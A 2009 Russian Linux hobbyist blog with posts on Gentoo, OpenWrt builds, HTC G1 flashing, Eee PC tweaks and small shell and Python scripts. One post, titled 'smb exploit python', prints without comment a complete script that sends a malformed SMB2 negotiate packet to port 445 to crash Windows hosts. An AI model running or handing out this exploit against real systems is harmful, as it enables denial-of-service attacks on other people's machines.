среда, 30 декабря 2009 г.

Динамический айпи уведомления

Купил на днях ноутбук и установил на него ubuntu 9.10
А так как ноут будут юзать на АДСЛ-соединении с динамическим айпи
нужно как-то выяснять какой айпи подцепил роутер.
За пару минут накалякал скрипт

cat /home/user/mailip.sh
#!/bin/sh
# получился ли адрес или что-то с сервером
[ $? -eq 0 ] && RESULT="Получено" || RESULT="Сервер недоступен"

# То что в кавычках заменить на свой адрес
MAIL_ADDR="МЫЛО@gmail.com"

IP="$(curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+")"
#curl -s http://checkip.dyndns.org/ | grep -o "[[:digit:].]\+"
echo ${IP} ${RESULT} | mail -s "IP thats" $MAIL_ADDR 


Итак этот скриптик отправляет мне на мыло письмо с внешним айпи.
Теперь нужно процесс автоматизировать
cd /etc/cron.d/
nano -w mailip
# Global variables
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
1 */4 * * * root /bin/bash /home/user/mailip.sh
#*/1 * * * * root ifconfig eth0 >/tmp/testcron.log
Теперь поясню что значит это все.
Я добавил в демон крона запись
стартовать мой скрипт кажду первую минуту четвертого часа
#*/1 * * * * root ifconfig eth0 >/tmp/testcron.log
А вот это применял для тестирования демона cron
пишет вывод ifconfig eth0 каждую минуту каждого часа

Ну вот вуаля ко мне на почту приходят сообщения с айпи.
п.с.
Чтобы почта уходила я использовал ssmtp
Я раньше выкладывал как нужно правильно настраивать его.

среда, 16 декабря 2009 г.

танцы с openwrt

Недавно занялся вопросом перехода на Openwrt c dd-wrt на роутере dlink dir-320
Не долго думая выбрал прошивку от kamikaze
Итак начем.Я ее собирал на своей генте самостоятельно.
Задача стоит такая заставить работать openwrt + madwimax для сети YOTA.

Все дальнейшие команды выполняются в терминале

svn co svn://svn.openwrt.org/openwrt/branches/8.09




Скачается около 90 мегабайт исходных кодов прошивки, openwrt базируется на ядре 2.4, но есть возможность собрать и с 2.6, вот только не для dlink'овских железяк, если вдруг кто это читает и в теме, то прошу проследовать в комментарии.








дальше делаем
cd 8.09
И читаем ридмишку

This is the buildsystem for the OpenWrt Linux distribution


Please use "make menuconfig" to configure your appreciated
configuration for the toolchain and firmware.


You need to have installed gcc, binutils, patch, bzip2, flex, bison,
make, gettext, pkg-config, unzip, libz-dev and libc headers.


Simply running 'make' will build your firmware.
It will download all sources, build the cross-compile toolchain,
the kernel and all choosen applications.


You can use scripts/flash.sh for remotely updating your embedded system
via tftp.


The OpenWrt system is documented in docs/. You will need a LaTeX distribution
and the tex4ht package to build the documentation. Type make -C docs/ to build it.


Building your own firmware you need to have access to a Linux, BSD or MacOSX system.
Cygwin will not be supported because of the lack of case sensitiveness.


Sunshine!
        Your OpenWrt Project
        http://openwrt.org

Для тех кто не владеет мунспиком, тут говорится о том что на системе в которой производится компилция нужны установленные
gcc, binutils, patch, bzip2, flex, bison,
make, gettext, pkg-config, unzip, libz-dev and libc headers


 Проинсталлим дополнительные фиды (в них xwrt - вебморды и много других вкусняшек)

cd scripts
./feeds update -a
./feeds install -a









Дальше вернемся в директорию выше (8.09)
и запустим make menuconfig (прям как в генте)


















На этом первая часть саги о  компиляции openwrt заканчивается :)
Ждите продолжения.

вторник, 1 декабря 2009 г.

Сегодня на работе на своей свежей прыщегенте словил ошибку

adding static routes
SIOCADDRT: Нет такого процесса

Айпи выдается через dhcp сервер, сервис net.eth0 помещен в boot
Туда же в бут помещен и /etc/init.d/network
Погуглив немного видел решения с добавлением sleep 5
в тот самый нетворкинг, я сделал проще перетащил его в default из boot.
Эффект тот же а работает приятнее.

воскресенье, 29 ноября 2009 г.

smb exploit python

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "192.168.0.100", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->  normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close() 

вторник, 27 октября 2009 г.

python

Вообщем я написал скриптик, который отправляет текст на пастие.орг
в целях изучения языка Python, планирую приделать фичу скармливания ему файлов.


#!/usr/bin/python
# -*- coding: utf-8 -*-
from BeautifulSoup import BeautifulSoup
import urllib2
import urllib
import httplib
import re


url = 'http://pastie.org/pastes/' # ттут живет паста
values = {
'paste[body]' : open(raw_input('Введите прыщепуть: \n')).read(), # тело пасты
'paste[parser_id]':'4', #код которым подсвечивать 4 ruby
'paste[restricted]':'0', # паста не приватная
'paste[authorization]':'burger', # показывает такой логин в хедерах
'key' : '',
'commit' : 'Paste'
 }

data = urllib.urlencode(values)
resp = urllib2.urlopen(url, data)

html = resp.read()
soup = BeautifulSoup(html)
find = soup.findAll( 'p', 'smallutils')
#print soup.prettify()
print find

среда, 23 сентября 2009 г.

cyanogen [rom] правильная прошивка




Вот уже пару месяцев я прошиваю свой HTC G1 только прошивками от Cyanogen.
Пользую исключительно experimental версии, в частности из-за нового шедулера
BFQ, действительно девайс стал резвее даже по сравнению с тем что было на стандартном
линуксовом шедулере(по скорости работы просто не сравнимо с ВинМобайл 6.1 \ 6.5 )

Итак, составлю для себя и для других памятку о том как правильно менять версии прошивки.
Так как на  xda-developers трудновато найти способ правильно прошиваться и чтобы все работало.

Предположим что у нас уже стоит recovery-1.4 и карта памяти разбита на ext3 и fat разделы.
Мы накатываем прошивку, скажем вот эту и дальше необходимо сделать качественный вайп,
тот который из меню recovery запускается не выполняет функций вайпа карты и в результате после прошивки мы имеем неработающий девайс, или жутку тормозящий.

теперь делаем так:

http://pastie.org/622376 скрипт sdparted копируем на карту памяти.
Дальше из рековери режима переходим в консоль и пишем:

mount /dev/block/mmcblk0p2 /sdcard/sd
rm -rf /sdcard/sd/*/
e2fsck /dev/block/mmcblk0p2

*возможно перезапуск*

mount /sdcard
cp sdparted /sbin/sdparted
chmod 755 /sbin/sdparted
теперь можно запустить скрипт переразметки диска.
он, кстати, не удаляет ничего с фат раздела.
Дальше делаем вайп системы и обновляемся.
После этого все должно запуститься без проблем.





четверг, 25 июня 2009 г.

Ух!Разобрался я с eee-control + asus eeepc 900.
Проблема была в том что еее-контрол ну никак не хотел работать
то демон не работал должны образом, то каких-то файлов не было, вообщем много всего.
Сегодня я таки достиг нужного результата.
Итак, пока не забыл расскажу.

emerge -av eee-control
поставится но работать не будет, станет ругаться на отсутвие
/etc/init.d/hotkey-setup

Прилагаю свой

#!/bin/sh
### BEGIN INIT INFO
# Provides: hotkey-setup
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 1
# Short-Description: Set up laptop keys to generate keycodes.
### END INIT INFO

test -x /usr/sbin/dumpkeycodes || exit 0

xorg_driver() {
vendor=$(lspci | grep VGA | head -1)
case $vendor in
*Intel*)
driver=intel
;;
*AMD*|*ATI*)
driver=ati
;;
esac
echo $driver
}

do_video () {
VIDEO=`xorg_driver`
case $VIDEO in
intel|ati)
for x in /proc/acpi/video/*/DOS; do
if [ -e "$x" ]; then
echo -n 7 >$x;
fi
done
;;
esac
}

case "$1" in
start)

# This entire block does nothing on desktops right now
if laptop-detect; then

do_video

fi
;;
restart|force-reload)
$0 stop || true
$0 start
;;
esac

exit 0

Потом не забыть сделать chmod +x /etc/init.d/hotkey-setup

Далее в ядро вставить поддержку DMI
cd /usr/src/linux
cat .config | grep DMI
CONFIG_DMI=y
CONFIG_DMIID=y


Далее скорее всего машина будет ругаться на /lib/lsb/init-functions
Этого файлика тоже в нашей генте нет.
Прилагаю свой.
# /lib/lsb/init-functions for Debian -*- shell-script -*-
#
#Copyright (c) 2002-08 Chris Lawrence
#All rights reserved.
#
#Redistribution and use in source and binary forms, with or without
#modification, are permitted provided that the following conditions
#are met:
#1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#3. Neither the name of the author nor the names of other contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
#ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE
#LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
#CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
#SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
#BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
#WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
#OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
#EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

start_daemon () {
local force nice pidfile exec i
force=0
nice=0
pidfile=/dev/null

OPTIND=1
while getopts fn:p: opt ; do
case "$opt" in
f) force=1;;
n) nice="$OPTARG";;
p) pidfile="$OPTARG";;
esac
done

shift $(($OPTIND - 1))
if [ "$1" = '--' ]; then
shift
fi

exec="$1"; shift

if [ $force = 1 ]; then
/sbin/start-stop-daemon --start --nicelevel $nice --quiet --startas $exec --pidfile /dev/null --oknodo -- "$@"
elif [ $pidfile ]; then
/sbin/start-stop-daemon --start --nicelevel $nice --quiet --exec $exec --oknodo --pidfile "$pidfile" -- "$@"
else
/sbin/start-stop-daemon --start --nicelevel $nice --quiet --exec $exec --oknodo -- "$@"
fi
}

pidofproc () {
local pidfile line i pids= status specified pid
pidfile=
specified=

OPTIND=1
while getopts p: opt ; do
case "$opt" in
p) pidfile="$OPTARG"; specified=1;;
esac
done
shift $(($OPTIND - 1))

base=${1##*/}
if [ ! "$specified" ]; then
pidfile="/var/run/$base.pid"
fi

if [ -n "${pidfile:-}" -a -e "$pidfile" ]; then
read pid < "$pidfile"
if [ -n "${pid:-}" ]; then
if $(kill -0 "${pid:-}" 2> /dev/null); then
echo "$pid"
return 0
elif ps "${pid:-}" >/dev/null 2>&1; then
echo "$pid"
return 0 # program is running, but not owned by this user
else
return 1 # program is dead and /var/run pid file exists
fi
fi
fi
if [ -x /bin/pidof -a ! "$specified" ]; then
status="0"
/bin/pidof -o %PPID -x $1 || status="$?"
if [ "$status" = 1 ]; then
return 3 # program is not running
fi
return 0
fi
return 4 # program or service is unknown
}

# start-stop-daemon uses the same algorithm as "pidofproc" above.
killproc () {
local pidfile sig status base i name_param is_term_sig
pidfile=
name_param=
is_term_sig=no

OPTIND=1
while getopts p: opt ; do
case "$opt" in
p) pidfile="$OPTARG";;
esac
done
shift $(($OPTIND - 1))

base=${1##*/}
if [ ! $pidfile ]; then
name_param="--name $base --pidfile /var/run/$base.pid"
else
name_param="--pidfile $pidfile"
fi

sig=$(echo ${2:-} | sed -e 's/^-\(.*\)/\1/')
sig=$(echo $sig | sed -e 's/^SIG\(.*\)/\1/')
if [ -z "$sig" -o "$sig" = 15 -o "$sig" = TERM ]; then
is_term_sig=yes
fi
status=0
if [ ! "$is_term_sig" = yes ]; then
if [ -n "$sig" ]; then
/sbin/start-stop-daemon --stop --signal "$sig" --quiet $name_param || status="$?"
else
/sbin/start-stop-daemon --stop --quiet $name_param || status="$?"
fi
else
/sbin/start-stop-daemon --stop --quiet --oknodo $name_param || status="$?"
fi
if [ "$status" = 1 ]; then
if [ -n "$sig" ]; then
return 0
fi
return 3 # program is not running
fi

if [ "$status" = 0 -a "$is_term_sig" = yes -a "$pidfile" ]; then
pidofproc -p "$pidfile" "$1" >/dev/null || rm -f "$pidfile"
fi
return 0
}

# Return LSB status
status_of_proc () {
local pidfile daemon name status

pidfile=
OPTIND=1
while getopts p: opt ; do
case "$opt" in
p) pidfile="$OPTARG";;
esac
done
shift $(($OPTIND - 1))

if [ -n "$pidfile" ]; then
pidfile="-p $pidfile"
fi
daemon="$1"
name="$2"

status="0"
pidofproc $pidfile $daemon >/dev/null || status="$?"
if [ "$status" = 0 ]; then
log_success_msg "$name is running"
return 0
else
log_failure_msg "$name is not running"
return $status
fi
}

log_use_fancy_output () {
TPUT=/usr/bin/tput
EXPR=/usr/bin/expr
if [ -t 1 ] && [ "x$TERM" != "" ] && [ "x$TERM" != "xdumb" ] && [ -x $TPUT ] && [ -x $EXPR ] && $TPUT hpa 60 >/dev/null 2>&1 && $TPUT setaf 1 >/dev/null 2>&1; then
[ -z $FANCYTTY ] && FANCYTTY=1 || true
else
FANCYTTY=0
fi
case "$FANCYTTY" in
1|Y|yes|true) true;;
*) false;;
esac
}

log_success_msg () {
if [ -n "${1:-}" ]; then
log_begin_msg $@
fi
log_end_msg 0
}

log_failure_msg () {
if [ -n "${1:-}" ]; then
log_begin_msg $@
fi
log_end_msg 1 || true
}

log_warning_msg () {
if [ -n "${1:-}" ]; then
log_begin_msg $@
fi
log_end_msg 255 || true
}

#
# NON-LSB HELPER FUNCTIONS
#
# int get_lsb_header_val (char *scriptpathname, char *key)
get_lsb_header_val () {
if [ ! -f "$1" ] || [ -z "${2:-}" ]; then
return 1
fi
LSB_S="### BEGIN INIT INFO"
LSB_E="### END INIT INFO"
sed -n "/$LSB_S/,/$LSB_E/ s/# $2: \(.*\)/\1/p" $1
}

# int log_begin_message (char *message)
log_begin_msg () {
if [ -z "${1:-}" ]; then
return 1
fi
echo -n "$@"
}

# Sample usage:
# log_daemon_msg "Starting GNOME Login Manager" "gdm"
#
# On Debian, would output "Starting GNOME Login Manager: gdm"
# On Ubuntu, would output " * Starting GNOME Login Manager..."
#
# If the second argument is omitted, logging suitable for use with
# log_progress_msg() is used:
#
# log_daemon_msg "Starting remote filesystem services"
#
# On Debian, would output "Starting remote filesystem services:"
# On Ubuntu, would output " * Starting remote filesystem services..."

log_daemon_msg () {
if [ -z "${1:-}" ]; then
return 1
fi
log_daemon_msg_pre "$@"

if [ -z "${2:-}" ]; then
echo -n "$1:"
return
fi

echo -n "$1: $2"
log_daemon_msg_post "$@"
}

# #319739
#
# Per policy docs:
#
# log_daemon_msg "Starting remote file system services"
# log_progress_msg "nfsd"; start-stop-daemon --start --quiet nfsd
# log_progress_msg "mountd"; start-stop-daemon --start --quiet mountd
# log_progress_msg "ugidd"; start-stop-daemon --start --quiet ugidd
# log_end_msg 0
#
# You could also do something fancy with log_end_msg here based on the
# return values of start-stop-daemon; this is left as an exercise for
# the reader...
#
# On Ubuntu, one would expect log_progress_msg to be a no-op.
log_progress_msg () {
if [ -z "${1:-}" ]; then
return 1
fi
echo -n " $@"
}


# int log_end_message (int exitstatus)
log_end_msg () {
# If no arguments were passed, return
if [ -z "${1:-}" ]; then
return 1
fi

retval=$1

log_end_msg_pre "$@"

# Only do the fancy stuff if we have an appropriate terminal
# and if /usr is already mounted
if log_use_fancy_output; then
RED=`$TPUT setaf 1`
YELLOW=`$TPUT setaf 3`
NORMAL=`$TPUT op`
else
RED=''
YELLOW=''
NORMAL=''
fi

if [ $1 -eq 0 ]; then
echo "."
elif [ $1 -eq 255 ]; then
/bin/echo -e " ${YELLOW}(warning).${NORMAL}"
else
/bin/echo -e " ${RED}failed!${NORMAL}"
fi
log_end_msg_post "$@"
return $retval
}

log_action_msg () {
echo "$@."
}

log_action_begin_msg () {
echo -n "$@..."
}

log_action_cont_msg () {
echo -n "$@..."
}

log_action_end_msg () {
log_action_end_msg_pre "$@"
if [ -z "${2:-}" ]; then
end="."
else
end=" ($2)."
fi

if [ $1 -eq 0 ]; then
echo "done${end}"
else
if log_use_fancy_output; then
RED=`$TPUT setaf 1`
NORMAL=`$TPUT op`
/bin/echo -e "${RED}failed${end}${NORMAL}"
else
echo "failed${end}"
fi
fi
log_action_end_msg_post "$@"
}

# Hooks for /etc/lsb-base-logging.sh
log_daemon_msg_pre () { :; }
log_daemon_msg_post () { :; }
log_end_msg_pre () { :; }
log_end_msg_post () { :; }
log_action_end_msg_pre () { :; }
log_action_end_msg_post () { :; }

FANCYTTY=
[ -e /etc/lsb-base-logging.sh ] && . /etc/lsb-base-logging.sh || true

Но и после этих манипуляций еще не все!
в автозугрузки нужно поставить модуль
p4_clockmod для регулировки частоты проца.
Вот вроде бы пока все.
Чуть попозже дополню.

понедельник, 22 июня 2009 г.

памятка:локаль после su

Запишу чтобы не забыть.
После su слетает локаль
если выполнить su-
то все работает, однако хочется красивого решения.
вот оно

Решение проблемы с локалью в оболочке root'а.
Добавить в файл /etc/environment следующие строки:
LC_ALL="ru_RU.UTF-8"
LANG="ru_RU.UTF-8"


В файле /etc/login.defs проверить, а при необходимости определить переменную ENVIRON_FILE
%grep ENVIRON /etc/login.defs
ENVIRON_FILE=/etc/environment

суббота, 13 июня 2009 г.

firefox и pulseaudio

Дабы не забыть.
По дефолту лиса выводит звук через alsa, что местами весьма некошерно сказвыается на звуке.
Пару минут назад был нагуглен способ завести flash + pulseaudio в firefox

nano .mozilla/firefox/profiles.ini
добавляем строчку
FLASH_FORCE_PULSEAUDIO=1

Полностью мой профиль выглядит примерно вот так:

[General]
StartWithLastProfile=1
FLASH_FORCE_PULSEAUDIO=1

[Profile0]
Name=default
IsRelative=1
Path=6blablabla.default

пятница, 12 июня 2009 г.

asus eee и pykde4

Столкнулся с проблемой некоторое время назад.
На Asus EEE pc900 ну совсем никак не хотел собираться pykde4:
Съедал 1гб памяти и вешал систему, решилось все совсем просто
в /etc/make.conf
количество потоков сборки выставить в 1
и собрать.

asus eee + boot booster

В моем ноуте есть замечательная фича boot booster.
Дабы задействовать ее нужно создать раздел на диске
скажем /dev/sda4 размером 8мбайт (1 цилиндр)
Я сделал из ubuntu, так как в генте курить мануал по fdisk было лень,
а дальше делаем так.

sfdisk – -change-id /dev/sda 4 ef
sfdisk – -print-id /dev/sda 4

Теперь в биосе появилась опции boot boost
Включаем и наслаждаемся офигенно скоростной загрузкой.

суббота, 23 мая 2009 г.

Нашел у жж юзера kolloid.
Схороню на память.
Скажем если что-то большое писалось в форме ответа на форуме или еще где и внезапно произошел какой-то глюк и текст пропал, то не нужно биться головой в стену и перепечатвать.

Находим PID:

$ ps aux | grep firefox

Делаем дамп

$ gdb -p 2408

(gdb) gcore

Ищем свой текст

$ strings core.* | less

пятница, 1 мая 2009 г.

HTC G1 UPD

Хм.К предыдущему посту про HTC G1 и подключение к gentoo.
Дело было в том что гента почему-то не видит девайсы которые подключены к внешим УСБ, то бишь тем которые на панельке корупса.Когда подключаю G1 к усб портам в матплате то все определяется без проблем.

вторник, 31 марта 2009 г.

htc dream + gentoo

После приобретения чудного девайса HTC Dream встал вопрос подключения девайса к компу, в качестве флешки, почему-то по умолчанию девайс не подключался, хотя флешки и моя Sony PSP подключались и работали без проблем.

dmesg

[57509.252433] scsi6 : SCSI emulation for USB Mass Storage devices
[57509.253743] drivers/usb/core/inode.c: creating file '006'
[57509.253802] usb 2-6: New USB device found, idVendor=0bb4, idProduct=0c01
[57509.253804] usb 2-6: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[57509.253806] usb 2-6: Product: Android Phone
[57509.253807] usb 2-6: Manufacturer: HTC
[57509.253808] usb 2-6: SerialNumber: HT848GZ72398
[57509.253814] hub 2-0:1.0: state 7 ports 10 chg 0000 evt 0040
[57509.253830] usb-storage: device found at 6
[57509.253832] usb-storage: waiting for device to settle before scanning
[57520.713080] hub 2-0:1.0: state 7 ports 10 chg 0000 evt 0040
[57520.764300] ohci_hcd 0000:00:02.0: GetStatus roothub.portstatus [5] = 0x00100103 PRSC PPS PES CCS
[57520.815280] usb 2-6: reset full speed USB device using ohci_hcd and address 6
[57520.881287] ohci_hcd 0000:00:02.0: GetStatus roothub.portstatus [5] = 0x00100103 PRSC PPS PES CCS
[57530.978058] hub 2-0:1.0: state 7 ports 10 chg 0000 evt 0040
[57531.029276] ohci_hcd 0000:00:02.0: GetStatus roothub.portstatus [5] = 0x00100103 PRSC PPS PES CCS
[57531.080311] usb 2-6: reset full speed USB device using ohci_hcd and address 6
[57531.146299] ohci_hcd 0000:00:02.0: GetStatus roothub.portstatus [5] = 0x00100103 PRSC PPS PES CCS
[57558.038049] scsi 6:0:0:0: Device offlined - not ready after error recovery
[57558.038519] usb-storage: device scan complete



Гугление не дако никаких интересных результатов, для убунтщиков был фикс под названием "2 minutes fix", мне совсем не подошел, все оказалось гораздо проще.
Дело было конечно же в ядре.За сим,кому в помощь,а себе просто не забыть прилагаю скриншот.

среда, 25 марта 2009 г.

ssmtp и уведомления о системных событиях по sms

Итак.Сегодня ночью ко мне пришла мысль что уж очень сильно хочется чтобы уведомления о завершении процесса emerge приходили мне смской.Немного погуглив я нашел решение, юзать ssmtp + небольшой скриптик.


emerge -av mail-mta/ssmtp
[обязательно с флагом ssl]
Поидее оно должно потащить за собой и mail-client/mailx
Итак.Дальше нужно перейти к файлу конфигурации:

nano /etc/ssmtp/ssmtp.conf

# GMAIL configuration
mailhub=smtp.gmail.com:587
AuthUser=мыло@gmail.com
AuthPass=пароль
UseSTARTTLS=YES
UseTLS=YES
# The full hostname
hostname=gmail.com

# Are users allowed to set their own From: address?
# YES - Allow the user to specify their own From: address
# NO - Use the system generated From: address
FromLineOverride=YES


Со строчкой hostname=gmail.com я изрядно намучался, несколько не ясно что такое хостнейм, то ли оно хочет мой хостнейм, то ли гмейла, если указать свой собственный то бишь localhost, то дело принимает совсем неинтересный оборот:при отправке почты намертво вешается сеть.


А теперь сам скриптик:


#!/bin/sh
# Запись статуса завершения команды.
[ $? -eq 0 ] && RESULT="PASS" || RESULT="FAIL"

# То что в кавычках заменить на свой адрес
SMS_ADDR="123456789@sms.beemail.ru"

LAST_PKG="$(tac /var/log/emerge.log | awk '$2 == ">>>" {print $4,$5,$6,$7; exit;}')"
CFG_MODS="$(find /etc -iname '._cfg????_*' | wc -l)"

mail -s"Emerge Completed" $SMS_ADDR <<-EOM ${RESULT} ${LAST_PKG} ::: ${CFG_MODS} config updates pending $* EOM

Дальше скрипт можно добавить в /usr/local/sbin/

И запускать emerge -avuDN world; scriptname


суббота, 14 марта 2009 г.

kde 4.2.1


Недавно я таки переехал на KDE4.2.1
Первые впечатления:явно есть над чем работать ребятам из девелоперского состава кде, например иногда крашится плазма, совершенно по не понятной причине, а так как я кде использую совместе с compiz-fusion, то естественно мною был отловлен еще один баг,
иногда при загрузке кде,вот только-только после заставки если нажать правой кнопкой мыши по рабочему столу то Х-сервер падает.

пятница, 13 февраля 2009 г.

skype и gentoo

У меня с давних времен была проблема , что никак не хотел работать микрофон в skype и других прогах , типа ekiga.Было совершенно очевидно что дело в ядре.
И вот наконец дошли руки сделать чтобы все работало.Решение весьма просто:
Необходимо ядро пересобрать с АЛСОЙ невкомпилированной в ядро а поставить модулями






После сборки ядра и перезагрузки
следует запустить alsamixer и следовать его инструкциям,там все просто,лично
у меня все свелось к нажатию кнопки ЕНТЕР три раза :)

и вуаял - все работает

четверг, 12 февраля 2009 г.

xorg-server

Сегодня накатил свою gentoo на xorg-server 1.5.3-r2
и сразу же столкнулся с проблемой:
русская раскладка не хотела включаться.
решение нашлось после непродолжительного гугления.

http://www.google.ru/notebook/?hl=ru&pli=1#b=BDQxBQwoQ6ryXrscj

четверг, 5 февраля 2009 г.

toonel.net в gentoo как демон



nano -w /etc/init.d/toonel

#!/sbin/runscript

depend() {
need net
provide toonel.net
}



start() {
TOONEL_CMD=`GENTOO_VM=${GENTOO_VM} java-config -J`

ebegin "starting toonel.net"
start-stop-daemon --background --make-pidfile --pidfile /var/run/toonel.pid --start --startas /usr/bin/java -- -jar /home/user/toonel.jar -t> /var/log/toonel.log 2>&1
eend
}

stop() {
ebegin "Stopping Toonel"
start-stop-daemon --pidfile /var/run/toonel.pid --stop
eend
}


Скорее всего придется подправить ява-машину на посвежее , а так же не забыть поправить путь до папки где лежит toonel.jar.

четверг, 29 января 2009 г.

Cupcake для HTC Dream


На днях приобрел сей девайс и теперь занимаюсь его тотальной прошивкой.
Собственно сам коммуникатор сделан на базе Linux с ядром 26.x.x
А ниже я расскажу о том как сие чудо запустить на ББ с последним Cupcake (прошивкой)

Скачиваем и устанавливаем СДК Андройда здесь


Теперь скачиваем последний образ операционной системы здесь

После установки СДК Андройда
следует распаковать содержимое второго архива в %Папка Андройда%\tools\lib\images .
Согласиться с заменой файлов.
Вот и все.
можно запускать

%Папка Андройда%\tools\emulator.exe

Запускается на моем комьютере (АМД64х2 5000+) около 2 минут.



А вот и русский язык.

суббота, 24 января 2009 г.

четверг, 22 января 2009 г.

Это первая запись на блогспоте.На первый взгляд все кажется очень удобным , но немного нехватает функциональности жж.